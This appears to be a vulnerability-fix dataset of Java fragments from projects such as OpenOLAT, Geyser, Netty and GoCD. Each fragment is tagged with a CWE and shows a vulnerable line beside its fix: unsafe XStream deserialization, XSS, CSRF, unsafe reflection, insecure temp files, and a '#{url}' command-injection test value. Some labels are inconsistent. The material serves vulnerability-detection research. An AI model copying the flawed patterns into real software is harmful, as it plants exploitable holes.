t = document.getElementsByTagName('script');\"\n\t\t\t\t+ \"if (t != null && t.length > 0) {\"\n\t\t\t\t+ \"var script = document.createElement('script');\"\n\t\t\t\t+ \"script.type = 'text/javascript';\" + \"script.src = '\" + proto\n\t\t\t\t<|endoftext|>"} +{"language": "java", "text": "UpdateBlocklist;\nimport rocks.xmpp.addr.Jid;\n\nimport static eu.siacs.conversations.ui.ConversationFragment.REQUEST_DECRYPT_PGP;\n\npublic class ConversationsActivity extends XmppActivity implements OnConversationSelected, OnConversationArchived, OnConversationsListItemUpdated, OnConversationRead, XmppConnectionService.OnAccountUpdate, XmppConnectionService.OnConversationUpdate, XmppConnectionService.OnRosterUpdate, OnUpdateBlocklist, XmppConnectionService.OnShowErrorToast, XmppConnectionService.OnAffiliationChanged, XmppConnectionService.OnRoleChanged {\n\n public static final String ACTION_VIEW_CONVERSATION = \"eu.siacs.conversations.action.VIEW\";\n public static final String EXTRA_CONVERSATION = \"conversationUuid\";\n public static final String EXTRA_DOWNLOAD_UUID = \"eu.siacs.conversations.download_uuid\";\n public static final String EXTRA_AS_QUOTE = \"as_quote\";\n public static final String EXTRA_NICK = \"nick\";\n public static final String EXTRA_IS_PRIVATE_MESSAGE = \"pm\";\n // BUG: CWE-200 Exposure of Sensitive Information to an Unauthorized Actor\n // \n // FIXED: \n public static final String EXTRA_DO_NOT_APPEND = \"do_not_append\";\n\n private static List VIEW_AND_SHARE_ACTIONS = Arrays.asList(\n ACTION_VIEW_CONVERSATION,\n Intent.ACTION_SEND,\n Intent.ACTION_SEND_MULTIPLE\n );\n\n public static final int REQUEST_OPEN_MESSAGE = 0x9876;\n public static final int REQUEST_PLAY_PAUSE = 0x5432;\n\n\n //secondary fragment (when holding the conversation, must be initialized before refreshing the overview fragment\n private static final @IdRes\n int[] FRAGMENT_ID_NOTIFICATION_ORDER = {R.id.secondary_fragment, R.id.main_fragment};\n private final PendingItem pendingViewIntent = new PendingItem<>();\n private final PendingItem postponedActivityResult = new PendingItem<>();\n private ActivityConversationsBinding binding;\n private boolean mActivityPaused = true;\n private AtomicBoolean mRedirectInProcess = new AtomicBoolean(false);\n\n private static boolean isViewOrShareIntent(Intent i) {\n Log.d(Config.LOGTAG, \"action: \" + (i == null ? null : i.getAction()));\n return i != null && VIEW_AND_SHARE_ACTIONS.contains(i.getAction()) && i.hasExtra(EXTRA_CONVERSATI<|endoftext|>"} +{"language": "java", "text": "locators.ClassPathResourceLocator;\nimport uk.ac.ed.ph.jqtiplus.xmlutils.locators.ResourceLocator;\nimport uk.ac.ed.ph.jqtiplus.xmlutils.xslt.XsltSerializationOptions;\nimport uk.ac.ed.ph.jqtiplus.xmlutils.xslt.XsltStylesheetCache;\nimport uk.ac.ed.ph.jqtiplus.xmlutils.xslt.XsltStylesheetManager;\nimport uk.ac.ed.ph.qtiworks.mathassess.GlueValueBinder;\nimport uk.ac.ed.ph.qtiworks.mathassess.MathAssessConstants;\nimport uk.ac.ed.ph.qtiworks.mathassess.MathAssessExtensionPackage;\n\n/**\n * \n * Initial date: 12.05.2015
\n * @author srosse, stephane.rosse@frentix.com, http://www.frentix.com\n *\n */\n@Service\npublic class QTI21ServiceImpl implements QTI21Service, UserDataDeletable, InitializingBean, DisposableBean {\n\t\n\tprivate static final Logger log = Tracing.createLoggerFor(QTI21ServiceImpl.class);\n\t\n\tprivate static XStream configXstream = XStreamHelper.createXStreamInstance();\n\tstatic {\n\t\tClass[] types = new Class[] {\n\t\t\t\tQTI21DeliveryOptions.class, QTI21AssessmentResultsOptions.class\n\t\t};\n\t\t// BUG: CWE-91 XML Injection (aka Blind XPath Injection)\n\t\t// XStream.setupDefaultSecurity(configXstream);\n\t\t// FIXED: \n\t\tconfigXstream.addPermission(new ExplicitTypePermission(types));\n\t\t\n\t\tconfigXstream.alias(\"deliveryOptions\", QTI21DeliveryOptions.class);\n\t\tconfigXstream.alias(\"assessmentResultsOptions\", QTI21AssessmentResultsOptions.class);\n\t}\n\t\n\t@Autowired\n\tprivate DB dbInstance;\n\t@Autowired\n\tprivate GradingService gradingService;\n\t@Autowired\n\tprivate AssessmentTestSessionDAO testSessionDao;\n\t@Autowired\n\tprivate AssessmentItemSessionDAO itemSessionDao;\n\t@Autowired\n\tprivate AssessmentResponseDAO testResponseDao;\n\t@Autowired\n\tprivate AssessmentTestMarksDAO testMarksDao;\n\t@Autowired\n\tprivate AssessmentEntryDAO assessmentEntryDao;\n\t@Autowired\n\tprivate QTI21Module qtiModule;\n\t@Autowired\n\tprivate CoordinatorManager coordinatorManager;\n\t@Autowired\n\tprivate MailManager mailManager;\n\t\n\n\tprivate JqtiExtensionManager jqtiExtensionManager;\n\tprivate XsltStylesheetManager xsltStylesheetManager;\n\tprivate InfinispanXsltStylesheetCache xsltStylesheetCache;\n\tprivate CacheWrapper assessmentTestsCache;\n\tprivate CacheWrapper assessmentItemsCache;\n\tprivate CacheWrapper testSessionControllersCache;\n\t\n\tprivate final C<|endoftext|>"} +{"language": "java", "text": "\n .getErrorDispatcherByCode(req.getRequestURI(), sc, msg, null);\n if (rd != null) {\n try {\n rd.forward(this.req, this);\n return;\n } catch (IllegalStateException err) {\n throw err;\n } catch (IOException err) {\n throw err;\n } catch (Throwable err) {\n Logger.log(Logger.WARNING, Launcher.RESOURCES,\n \"WinstoneResponse.ErrorInErrorPage\", new String[] {\n rd.getName(), sc + \"\" }, err);\n return;\n }\n }\n }\n // If we are here there was no webapp and/or no request object, so \n // show the default error page\n if (this.errorStatusCode == null) {\n this.statusCode = sc;\n }\n String output = Launcher.RESOURCES.getString(\"WinstoneResponse.ErrorPage\",\n // BUG: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n // new String[] { sc + \"\", (msg == null ? \"\" : msg), \"\",\n // FIXED:\n new String[] { sc + \"\", URIUtil.htmlEscape(msg == null ? \"\" : msg), \"\",\n Launcher.RESOURCES.getString(\"ServerVersion\"),\n \"\" + new Date() });\n setContentLength(output.getBytes(getCharacterEncoding()).length);\n Writer out = getWriter();\n out.write(output);\n out.flush();\n }\n\n /**\n * @deprecated\n */\n public String encodeRedirectUrl(String url) {\n return encodeRedirectURL(url);\n }\n\n /**\n * @deprecated\n */\n public String encodeUrl(String url) {\n return encodeURL(url);\n }\n\n /**\n * @deprecated\n */\n public void setStatus(int sc, String sm) {\n setStatus(sc);\n }\n}\n<|endoftext|>"} +{"language": "java", "text": "\", null))) {\n\t\t\tif (isLinkTimeUp()) {\n\t\t\t\tdeleteRegistrationKey();\n\t\t\t} else {\n\t\t\t\tif (isLinkClicked()) {\n\t\t\t\t\tchangeEMail(getWindowControl());\n\t\t\t\t} else {\n\t\t \t\tBoolean alreadySeen = ((Boolean)ureq.getUserSession().getEntry(PRESENTED_EMAIL_CHANGE_REMINDER));\n\t\t \t\tif (alreadySeen == null) {\n\t\t \t\t\tgetWindowControl().setWarning(getPackageTranslator().translate(\"email.change.reminder\"));\n\t\t \t\t\tureq.getUserSession().putEntry(PRESENTED_EMAIL_CHANGE_REMINDER, Boolean.TRUE);\n\t\t \t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tString value = user.getProperty(\"emailDisabled\", null);\n\t\t\tif (value != null && value.equals(\"true\")) {\n\t\t\t\tTranslator translator = Util.createPackageTranslator(HomeMainController.class, ureq.getLocale());\n\t\t\t\tgetWindowControl().setWarning(translator.translate(\"email.disabled\"));\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\n\t/**\n\t * change email\n\t * @param wControl\n\t * @return\n\t */\n\tpublic boolean changeEMail(WindowControl wControl) {\n\t\tXStream xml = XStreamHelper.createXStreamInstance();\n\t\t// BUG: CWE-91 XML Injection (aka Blind XPath Injection)\n\t\t// \n\t\t// FIXED: \n\t\tXStreamHelper.allowDefaultPackage(xml);\n\t\t@SuppressWarnings(\"unchecked\")\n\t\tHashMap mails = (HashMap) xml.fromXML(tempKey.getEmailAddress());\n\t\t\n\t\tIdentity identity = securityManager.loadIdentityByKey(tempKey.getIdentityKey());\n\t\tif (identity != null) {\n\t\t\tString oldEmail = identity.getUser().getEmail();\n\t\t\tidentity.getUser().setProperty(\"email\", mails.get(\"changedEMail\"));\n\t\t\t// if old mail address closed then set the new mail address\n\t\t\t// unclosed\n\t\t\tString value = identity.getUser().getProperty(\"emailDisabled\", null);\n\t\t\tif (value != null && value.equals(\"true\")) {\n\t\t\t\tidentity.getUser().setProperty(\"emailDisabled\", \"false\");\n\t\t\t}\n\t\t\tidentity.getUser().setProperty(\"email\", mails.get(\"changedEMail\"));\n\t\t\t// success info message\n\t\t\tString currentEmailDisplay = userManager.getUserDisplayEmail(mails.get(\"currentEMail\"), userRequest.getLocale());\n\t\t\tString changedEmailDisplay = userManager.getUserDisplayEmail(mails.get(\"changedEMail\"), userRequest.getLocale());\n\t\t\twControl.setInfo(pT.translate(\"success.change.email\", new String[] { currentEmailDisplay, changedEmailDisplay }));\n\t\t\t// remove keys\n\t\t\tidentity.getUser().setProperty(\"emchangeKey\", null);\n\t<|endoftext|>"} +{"language": "java", "text": "sertEquals(lhandler.error,1);\n backendManager.info(\"test\");\n assertEquals(lhandler.info,1);\n backendManager.destroy();\n }\n\n @Test\n public void defaultConfig() {\n Configuration config = new Configuration(ConfigKey.DEBUG_MAX_ENTRIES,\"blabal\",ConfigKey.AGENT_ID,\"test\");\n BackendManager backendManager = new BackendManager(config,log);\n backendManager.destroy();\n }\n\n @Test\n public void doubleInit() {\n BackendManager b1 = new BackendManager(config,log);\n BackendManager b2 = new BackendManager(config,log);\n b2.destroy();\n b1.destroy();\n }\n\n @Test\n public void remoteAccessCheck() {\n BackendManager backendManager = new BackendManager(config,log);\n assertTrue(backendManager.isRemoteAccessAllowed(\"localhost\",\"127.0.0.1\"));\n backendManager.destroy();\n }\n\n @Test\n public void corsAccessCheck() {\n BackendManager backendManager = new BackendManager(config,log);\n // BUG: CWE-352 Cross-Site Request Forgery (CSRF)\n // assertTrue(backendManager.isCorsAccessAllowed(\"http://bla.com\"));\n // FIXED: \n assertTrue(backendManager.isOriginAllowed(\"http://bla.com\",false));\n backendManager.destroy();\n }\n\n @Test\n public void convertError() throws MalformedObjectNameException {\n BackendManager backendManager = new BackendManager(config,log);\n Exception exp = new IllegalArgumentException(\"Hans\",new IllegalStateException(\"Kalb\"));\n JmxRequest req = new JmxRequestBuilder(RequestType.READ,\"java.lang:type=Memory\").build();\n JSONObject jsonError = (JSONObject) backendManager.convertExceptionToJson(exp,req);\n assertTrue(!jsonError.containsKey(\"stackTrace\"));\n assertEquals(jsonError.get(\"message\"),\"Hans\");\n assertEquals(((JSONObject) jsonError.get(\"cause\")).get(\"message\"),\"Kalb\");\n backendManager.destroy();\n }\n\n // =========================================================================================\n\n static class RequestDispatcherTest implements RequestDispatcher {\n\n static boolean called = false;\n\n public RequestDispatcherTest(Converters pConverters,ServerHandle pServerHandle,Restrictor pRestrictor) {\n assertNotNull(pConverters);\n assertNotNull(pRestrictor);\n <|endoftext|>"} +{"language": "java", "text": "ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * @author GeyserMC\n * @link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.bedrock;\n\nimport com.github.steveice10.mc.protocol.packet.ingame.client.window.ClientRenameItemPacket;\nimport com.nukkitx.protocol.bedrock.packet.FilterTextPacket;\nimport org.geysermc.connector.inventory.AnvilContainer;\nimport org.geysermc.connector.inventory.CartographyContainer;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\n\n/**\n * Used to send strings to the server and filter out unwanted words.\n * Java doesn't care, so we don't care, and we approve all strings.\n */\n@Translator(packet = FilterTextPacket.class)\npublic class BedrockFilterTextTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(FilterTextPacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, FilterTextPacket packet) {\n if (session.getOpenInventory() instanceof CartographyContainer) {\n // We don't want to be able to rename in the cartography table\n return;\n }\n packet.setFromServer(true);\n session.sendUpstreamPacket(packet);\n\n if (session.getOpenInventory() instanceof AnvilContainer) {\n // Java Edition sends a packet every time an item is renamed even slightly in GUI. Fortunately, this works out for us now\n ClientRenameItemPacket renameItemPacket = new ClientRenameItemPacket(packet.getText());\n session.sendDownstreamPacket(renameItemPacket);\n }\n }\n}\n<|endoftext|>"} +{"language": "java", "text": "icense as the original file. \n*

\n* Initial code contributed and copyrighted by
\n* JGS goodsolutions GmbH, http://www.goodsolutions.ch\n*

\n*/\npackage org.olat.core.util.prefs.db;\n\nimport java.util.Iterator;\nimport java.util.List;\n\nimport org.apache.logging.log4j.Logger;\nimport org.olat.core.id.Identity;\nimport org.olat.core.logging.Tracing;\nimport org.olat.core.util.prefs.Preferences;\nimport org.olat.core.util.prefs.PreferencesStorage;\nimport org.olat.core.util.xml.XStreamHelper;\nimport org.olat.properties.Property;\nimport org.olat.properties.PropertyManager;\n\nimport com.thoughtworks.xstream.XStream;\n\n/**\n * Description:
\n *

\n * Initial Date: 21.06.2006
\n * \n * @author Felix Jost\n */\npublic class DbStorage implements PreferencesStorage {\n\t\n\tprivate static final Logger log = Tracing.createLoggerFor(DbStorage.class);\n\n\tstatic final String USER_PROPERTY_KEY = \"v2guipreferences\";\n\t\n\tprivate static final XStream xstream = XStreamHelper.createXStreamInstance();\n\tstatic {\n\t\t// BUG: CWE-91 XML Injection (aka Blind XPath Injection)\n\t\t// \n\t\t// FIXED:\n\t\tXStreamHelper.allowDefaultPackage(xstream);\n\t\txstream.ignoreUnknownElements();\n\t}\n\n\t@Override\n\tpublic Preferences getPreferencesFor(Identity identity, boolean useTransientPreferences) {\n\t\tif (useTransientPreferences) {\n\t\t\treturn createEmptyDbPrefs(identity,true);\n\t\t} else {\t\t\t\n\t\t\ttry {\n\t\t\t\treturn getPreferencesFor(identity);\n\t\t\t} catch (Exception e) {\n\t\t\t\tlog.error(\"Retry after exception\", e);\n\t\t\t\treturn getPreferencesFor(identity);\n\t\t\t}\n\t\t}\n\t}\n\n\t@Override\n\tpublic void updatePreferencesFor(Preferences prefs, Identity identity) {\n\t\tString props = xstream.toXML(prefs);\n\t\tProperty property = getPreferencesProperty(identity);\n\t\tif (property == null) {\n\t\t\tproperty = PropertyManager.getInstance().createPropertyInstance(identity, null, null, null, DbStorage.USER_PROPERTY_KEY, null, null,\n\t\t\t\t\tnull, props);\n\t\t\t// also save the properties to db, here (strentini)\n\t\t\t// fixes the \"non-present gui preferences\" for new users, or where guiproperties were manually deleted\n\t\t\tPropertyManager.getInstance().saveProperty(property);\n\t\t} else {\n\t\t\tproperty.setTextValue(props);\n\t\t\tPropertyManager.getInstance().updateProperty(property);\n\t\t}\n\t}\n\n\t/**\n\t * search x-stream serialization in properties table, <|endoftext|>"} +{"language": "java", "text": " }\n\n @Test\n void shouldBeValidWhenCredentialsAreProvidedOnlyAsAttributes() {\n GitMaterialConfig gitMaterialConfig = git(\"http://example.com\");\n gitMaterialConfig.setUserName(\"bob\");\n gitMaterialConfig.setPassword(\"badger\");\n\n assertFalse(validating(gitMaterialConfig).errors().containsKey(GitMaterialConfig.URL));\n }\n\n @Test\n void rejectsObviouslyWrongURL() {\n assertTrue(validating(git(\"-url-not-starting-with-an-alphanumeric-character\")).errors().containsKey(GitMaterialConfig.URL));\n assertTrue(validating(git(\"_url-not-starting-with-an-alphanumeric-character\")).errors().containsKey(GitMaterialConfig.URL));\n assertTrue(validating(git(\"@url-not-starting-with-an-alphanumeric-character\")).errors().containsKey(GitMaterialConfig.URL));\n\n assertFalse(validating(git(\"url-starting-with-an-alphanumeric-character\")).errors().containsKey(GitMaterialConfig.URL));\n // BUG: CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection')\n // \n // FIXED:\n assertFalse(validating(git(\"#{url}\")).errors().containsKey(GitMaterialConfig.URL));\n }\n\n private GitMaterialConfig validating(GitMaterialConfig git) {\n git.validate(new ConfigSaveValidationContext(null));\n return git;\n }\n }\n\n @Nested\n class ValidateTree {\n @Test\n void shouldCallValidate() {\n final MaterialConfig materialConfig = spy(git(\"https://example.repo\"));\n final ValidationContext validationContext = mockValidationContextForSecretParams();\n\n materialConfig.validateTree(validationContext);\n\n verify(materialConfig).validate(validationContext);\n }\n\n @Test\n void shouldFailIfEncryptedPasswordIsIncorrect() {\n GitMaterialConfig gitMaterialConfig = git(\"http://example.com\");\n gitMaterialConfig.setEncryptedPassword(\"encryptedPassword\");\n\n final boolean validationResult = gitMaterialConfig.validateTree(new ConfigSaveValidationContext(null));\n\n assertFalse(validationResult);\n assertEquals(\"Encrypted password value for GitMaterial with url 'http://example.com' is \" +\n <|endoftext|>"} +{"language": "java", "text": "Function;\n }\n\n public HpackEncoder(int maxTableSize) {\n this(maxTableSize, DEFAULT_HEADER_FUNCTION);\n }\n\n /**\n * Encodes the headers into a buffer.\n *\n * @param headers\n * @param target\n */\n public State encode(HeaderMap headers, ByteBuffer target) {\n if(overflowData != null) {\n for(int i = overflowPos; i < overflowLength; ++i) {\n if(!target.hasRemaining()) {\n overflowPos = i;\n return State.OVERFLOW;\n }\n target.put(overflowData[i]);\n }\n overflowData = null;\n }\n\n long it = headersIterator;\n if (headersIterator == -1) {\n handleTableSizeChange(target);\n //new headers map\n it = headers.fastIterate();\n currentHeaders = headers;\n } else {\n if (headers != currentHeaders) {\n throw new IllegalStateException();\n }\n // BUG: NVD-CWE-noinfo Insufficient Information\n // it = headers.fiNext(it);\n // FIXED:\n it = headers.fiNext(it);\n }\n while (it != -1) {\n HeaderValues values = headers.fiCurrent(it);\n boolean skip = false;\n if (firstPass) {\n if (values.getHeaderName().byteAt(0) != ':') {\n skip = true;\n }\n } else {\n if (values.getHeaderName().byteAt(0) == ':') {\n skip = true;\n }\n }\n if(SKIP.contains(values.getHeaderName())) {\n //ignore connection specific headers\n skip = true;\n }\n if (!skip) {\n for (int i = 0; i < values.size(); ++i) {\n\n HttpString headerName = values.getHeaderName();\n int required = 11 + headerName.length(); //we use 11 to make sure we have enough room for the variable length itegers\n\n String val = values.get(i);\n for(int v = 0; v < val.length(); ++v) {\n char c = val.charAt(v);\n if(c == '\\r' || c == '\\n') {\n val = val.replace('\\r', ' ').replace('\\n', ' ');\n <|endoftext|>"} +{"language": "java", "text": "seBuilder = ResponseEntity.ok();\n\t\tif (principal instanceof Jwt) {\n\t\t\tvar originalJWT = (Jwt) principal;\n\t\t\tvar jwtBuilder = Jwts.builder().setId(UUID.randomUUID().toString()).setIssuedAt(Date.from(Instant.now()))\n\t\t\t\t\t.setIssuer(\"dpppt-sdk-backend\").setSubject(originalJWT.getSubject())\n\t\t\t\t\t.setExpiration(Date\n\t\t\t\t\t\t\t.from(delayedKeyDate.atStartOfDay().toInstant(ZoneOffset.UTC).plus(Duration.ofHours(48))))\n\t\t\t\t\t.claim(\"scope\", \"currentDayExposed\").claim(\"delayedKeyDate\", gaenRequest.getDelayedKeyDate());\n\t\t\tif (originalJWT.containsClaim(\"fake\")) {\n\t\t\t\tjwtBuilder.claim(\"fake\", originalJWT.getClaim(\"fake\"));\n\t\t\t}\n\t\t\tString jwt = jwtBuilder.signWith(secondDayKey).compact();\n\t\t\tresponseBuilder.header(\"Authorization\", \"Bearer \" + jwt);\n\t\t\tresponseBuilder.header(\"X-Exposed-Token\", \"Bearer \" + jwt);\n\t\t}\n\t\tCallable> cb = () -> {\n\t\t\tnormalizeRequestTime(now);\n\t\t\treturn responseBuilder.body(\"OK\");\n\t\t};\n\t\treturn cb;\n\t}\n\n\t@PostMapping(value = \"/exposednextday\")\n\t@Loggable\n\t// BUG: CWE-200 Exposure of Sensitive Information to an Unauthorized Actor\n\t// \n\t// FIXED: \n\t@ResponseRetention(time = \"application.response.retention.time.exposednextday\")\n\t@Transactional\n\t@Operation(description = \"Allows the client to send the last exposed key of the infection to the backend server. The JWT must come from a previous call to /exposed\")\n\t@ApiResponses(value = {\n\t\t\t@ApiResponse(responseCode = \"200\", description = \"The exposed key has been stored in the backend\"),\n\t\t\t@ApiResponse(responseCode = \"400\", description = \n\t\t\t\t\t\"- Ivnalid base64 encoded Temporary Exposure Key\" +\n\t\t\t\t\t\"- TEK-date does not match delayedKeyDAte claim in Jwt\" +\n\t\t\t\t\t\"- TEK has negative rolling period\"),\n\t\t\t@ApiResponse(responseCode = \"403\", description = \"No delayedKeyDate claim in authentication\") })\n\tpublic @ResponseBody Callable> addExposedSecond(\n\t\t\t@Valid @RequestBody @Parameter(description = \"The last exposed key of the user\") GaenSecondDay gaenSecondDay,\n\t\t\t@RequestHeader(value = \"User-Agent\") @Parameter(description = \"App Identifier (PackageName/BundleIdentifier) + App-Version + OS (Android/iOS) + OS-Version\", example = \"ch.ubique.android.starsdk;1.0;iOS;13.3\") String userAgent,\n\t\t\t@AuthenticationPrincipal @Parameter(description = \"JWT token that can be v<|endoftext|>"} +{"language": "java", "text": "his.keyParams = keyParams;\n }\n\n public BCXMSSPrivateKey(PrivateKeyInfo keyInfo)\n throws IOException\n {\n XMSSKeyParams keyParams = XMSSKeyParams.getInstance(keyInfo.getPrivateKeyAlgorithm().getParameters());\n this.treeDigest = keyParams.getTreeDigest().getAlgorithm();\n\n XMSSPrivateKey xmssPrivateKey = XMSSPrivateKey.getInstance(keyInfo.parsePrivateKey());\n\n try\n {\n XMSSPrivateKeyParameters.Builder keyBuilder = new XMSSPrivateKeyParameters\n .Builder(new XMSSParameters(keyParams.getHeight(), DigestUtil.getDigest(treeDigest)))\n .withIndex(xmssPrivateKey.getIndex())\n .withSecretKeySeed(xmssPrivateKey.getSecretKeySeed())\n .withSecretKeyPRF(xmssPrivateKey.getSecretKeyPRF())\n .withPublicSeed(xmssPrivateKey.getPublicSeed())\n .withRoot(xmssPrivateKey.getRoot());\n\n if (xmssPrivateKey.getBdsState() != null)\n {\n // BUG: CWE-470 Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')\n // keyBuilder.withBDSState((BDS)XMSSUtil.deserialize(xmssPrivateKey.getBdsState()));\n // FIXED:\n keyBuilder.withBDSState((BDS)XMSSUtil.deserialize(xmssPrivateKey.getBdsState(), BDS.class));\n }\n\n this.keyParams = keyBuilder.build();\n }\n catch (ClassNotFoundException e)\n {\n throw new IOException(\"ClassNotFoundException processing BDS state: \" + e.getMessage());\n }\n }\n\n public String getAlgorithm()\n {\n return \"XMSS\";\n }\n\n public String getFormat()\n {\n return \"PKCS#8\";\n }\n\n public byte[] getEncoded()\n {\n PrivateKeyInfo pki;\n try\n {\n AlgorithmIdentifier algorithmIdentifier = new AlgorithmIdentifier(PQCObjectIdentifiers.xmss, new XMSSKeyParams(keyParams.getParameters().getHeight(), new AlgorithmIdentifier(treeDigest)));\n pki = new PrivateKeyInfo(algorithmIdentifier, createKeyStructure());\n\n return pki.getEncoded();\n }\n catch (IOException e)\n {\n return null;\n }\n }\n\n public boolean equals(Object o)\n {\n if (o == this)\n {\n return true;\n }\n\n if (o instanceof BCXMSSPrivateKey)\n {\n BCXMSSPrivateKey otherKey = (BCXMSSPri<|endoftext|>"} +{"language": "java", "text": ".protocol.data.game.entity.player.Hand;\nimport com.github.steveice10.mc.protocol.data.game.world.block.BlockFace;\nimport com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerPlaceBlockPacket;\nimport com.github.steveice10.mc.protocol.packet.ingame.client.window.ClientClickWindowButtonPacket;\nimport com.github.steveice10.mc.protocol.packet.ingame.client.window.ClientCloseWindowPacket;\nimport com.nukkitx.protocol.bedrock.packet.LecternUpdatePacket;\nimport org.geysermc.connector.inventory.LecternContainer;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\nimport org.geysermc.connector.utils.InventoryUtils;\n\n/**\n * Used to translate moving pages, or closing the inventory\n */\n@Translator(packet = LecternUpdatePacket.class)\npublic class BedrockLecternUpdateTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(LecternUpdatePacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, LecternUpdatePacket packet) {\n if (packet.isDroppingBook()) {\n // Bedrock drops the book outside of the GUI. Java drops it in the GUI\n // So, we enter the GUI and then drop it! :)\n session.setDroppingLecternBook(true);\n\n // Emulate an interact packet\n ClientPlayerPlaceBlockPacket blockPacket = new ClientPlayerPlaceBlockPacket(\n new Position(packet.getBlockPosition().getX(), packet.getBlockPosition().getY(), packet.getBlockPosition().getZ()),\n BlockFace.DOWN,\n Hand.MAIN_HAND,\n 0, 0, 0, // Java doesn't care about these when dealing with a lectern\n false);\n session.sendDownstreamPacket(blockPacket);\n } else {\n // Bedrock wants to either move a page or exit\n if (!(session.getOpenInventory() instanceof LecternContainer)) {\n session.getConnector().getLogger().debug(\"Expected lectern but it wasn't open!\");\n return;\n }\n\n LecternContainer lecternContainer = (LecternContainer) session.getOpenInventor<|endoftext|>"} +{"language": "java", "text": "ION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * @author GeyserMC\n * @link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.bedrock;\n\nimport com.github.steveice10.mc.protocol.data.game.entity.player.GameMode;\nimport com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerAbilitiesPacket;\nimport com.nukkitx.protocol.bedrock.data.AdventureSetting;\nimport com.nukkitx.protocol.bedrock.data.entity.EntityFlag;\nimport com.nukkitx.protocol.bedrock.packet.AdventureSettingsPacket;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\n\n@Translator(packet = AdventureSettingsPacket.class)\npublic class BedrockAdventureSettingsTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(AdventureSettingsPacket packet, GeyserSession session) {\n // FIXED:\n public void translate(GeyserSession session, AdventureSettingsPacket packet) {\n boolean isFlying = packet.getSettings().contains(AdventureSetting.FLYING);\n if (!isFlying && session.getGameMode() == GameMode.SPECTATOR) {\n // We should always be flying in spectator mode\n session.sendAdventureSettings();\n return;\n }\n\n session.setFlying(isFlying);\n ClientPlayerAbilitiesPacket abilitiesPacket = new ClientPlayerAbilitiesPacket(isFlying);\n session.sendDownstreamPacket(abilitiesPacket);\n\n if (isFlying && session.getPlayerEntity().getMetadata().getFlags().getFlag(EntityFlag.SWIMMING)) {\n // Bedrock can fly and swim at the same time? Make sure that can't happen\n session.setSwimming(false);\n }\n }\n}\n<|endoftext|>"} +{"language": "java", "text": " ByteBuf copy = buf.copy(1, 9);\n\n Assert.assertEquals(buf.slice(1, 9), copy);\n\n buf.release();\n copy.release();\n }\n\n // Test for https://github.com/netty/netty/issues/1708\n @Test\n public void testWrapBufferWithNonZeroPosition() {\n ByteBuf buf = buffer(((ByteBuffer) allocate(16)\n .putLong(1).flip().position(1)).asReadOnlyBuffer());\n\n ByteBuf slice = buf.slice();\n Assert.assertEquals(buf, slice);\n\n buf.release();\n }\n\n @Test\n public void testWrapBufferRoundTrip() {\n ByteBuf buf = buffer(((ByteBuffer) allocate(16).putInt(1).putInt(2).flip()).asReadOnlyBuffer());\n\n Assert.assertEquals(1, buf.readInt());\n\n ByteBuffer nioBuffer = buf.nioBuffer();\n\n // Ensure this can be accessed without throwing a BufferUnderflowException\n Assert.assertEquals(2, nioBuffer.getInt());\n\n buf.release();\n }\n\n @Test\n public void testWrapMemoryMapped() throws Exception {\n // BUG: CWE-378 Creation of Temporary File With Insecure Permissions\n // File file = File.createTempFile(\"netty-test\", \"tmp\");\n // FIXED: \n File file = PlatformDependent.createTempFile(\"netty-test\", \"tmp\", null);\n FileChannel output = null;\n FileChannel input = null;\n ByteBuf b1 = null;\n ByteBuf b2 = null;\n\n try {\n output = new RandomAccessFile(file, \"rw\").getChannel();\n byte[] bytes = new byte[1024];\n PlatformDependent.threadLocalRandom().nextBytes(bytes);\n output.write(ByteBuffer.wrap(bytes));\n\n input = new RandomAccessFile(file, \"r\").getChannel();\n ByteBuffer m = input.map(FileChannel.MapMode.READ_ONLY, 0, input.size());\n\n b1 = buffer(m);\n\n ByteBuffer dup = m.duplicate();\n dup.position(2);\n dup.limit(4);\n\n b2 = buffer(dup);\n\n Assert.assertEquals(b2, b1.slice(2, 2));\n } finally {\n if (b1 != null) {\n b1.release();\n }\n if (b2 != null) {\n b2.release();\n }\n if (output != null) {\n output.close();\n }\n if (input != null) {\n input.close();\n }\n file.delete();\n }\n }\n\n @Test\n pu<|endoftext|>"} +{"language": "java", "text": "n;\nimport org.olat.ims.cp.objects.CPResource;\nimport org.olat.ims.cp.ui.CPPackageConfig;\nimport org.olat.ims.cp.ui.CPPage;\nimport org.olat.repository.RepositoryEntry;\nimport org.olat.repository.RepositoryManager;\nimport org.springframework.stereotype.Service;\n\nimport com.thoughtworks.xstream.XStream;\nimport com.thoughtworks.xstream.security.ExplicitTypePermission;\n\n/**\n * The CP manager implementation.\n *

\n * In many cases, method calls are delegated to the content package object.\n * \n *

\n * Initial Date: 04.07.2008
